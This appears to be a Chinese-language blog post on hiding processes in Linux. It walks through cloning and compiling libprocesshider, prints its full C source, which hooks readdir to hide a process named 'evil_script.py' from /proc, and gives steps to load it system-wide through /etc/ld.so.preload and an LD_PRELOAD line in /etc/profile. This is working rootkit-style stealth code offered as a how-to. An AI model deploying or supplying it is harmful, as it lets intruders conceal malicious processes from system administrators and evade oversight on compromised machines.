linux 下隐藏进程的一种方法及遇到的坑

bmfxgkpt-yhd:~# git clone https://github.com/gianlucaborello/libprocesshider.git
Cloning into 'libprocesshider'...
remote: Counting objects: 26, done.
remote: Total 26 (delta 0), reused 0 (delta 0), pack-reused 26
Unpacking objects: 100% (26/26), done.
bmfxgkpt-yhd:~# cd libprocesshider/
bmfxgkpt-yhd:~/libprocesshider# make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
bmfxgkpt-yhd:~/libprocesshider#

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
 * Every process with this name will be excluded
 */
static const char* process_to_filter = "evil_script.py";
/*
 * Get a directory name given a DIR* handle
 */
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
  int fd = dirfd(dirp);
  if(fd == -1) {
    return 0;
  }
  char tmp[64];
  snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
  ssize_t ret = readlink(tmp, buf, size);
  if(ret == -1) {
    return 0;
  }
  buf[ret] = 0;
  return 1;
}
/*
 * Get a process name given its pid
 */
static int get_process_name(char* pid, char* buf)
{
  if(strspn(pid, "0123456789") != strlen(pid)) {
    return 0;
  }
  char tmp[256];
  snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
  FILE* f = fopen(tmp, "r");
  if(f == NULL) {
    return 0;
  }
  if(fgets(tmp, sizeof(tmp), f) == NULL) {
    fclose(f);
    return 0;
  }
  fclose(f);
  int unused;
  sscanf(tmp, "%d (%[^)]s", &unused, buf);
  return 1;
}
#define DECLARE_READDIR(dirent, readdir)                \
static struct dirent* (*original_##readdir)(DIR*) = NULL;        \
struct dirent* readdir(DIR *dirp)                    \
{                                    \
  if(original_##readdir == NULL) {                  \
    original_##readdir = dlsym(RTLD_NEXT, "readdir");        \
    if(original_##readdir == NULL)                 \
    {                                \
      fprintf(stderr, "Error in dlsym: %s\n", dlerror());     \
    }                                \
  }                                  \
  struct dirent* dir;                         \
  while(1)                              \
  {                                  \
    dir = original_##readdir(dirp);                 \
    if(dir) {                            \
      char dir_name[256];                     \
      char process_name[256];                   \
      if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&    \
        strcmp(dir_name, "/proc") == 0 &&            \
        get_process_name(dir->d_name, process_name) &&     \
        strcmp(process_name, process_to_filter) == 0) {     \
        continue;                        \
      }                              \
    }                                \
    break;                             \
  }                                  \
  return dir;                             \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

shell echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
并不会生效
 此时我们需要配置环境变量
shell bmfxgkpt-yhd:~# vi /etc/profile
增加一行
shell export LD_PRELOAD=/usr/local/lib/libprocesshider.so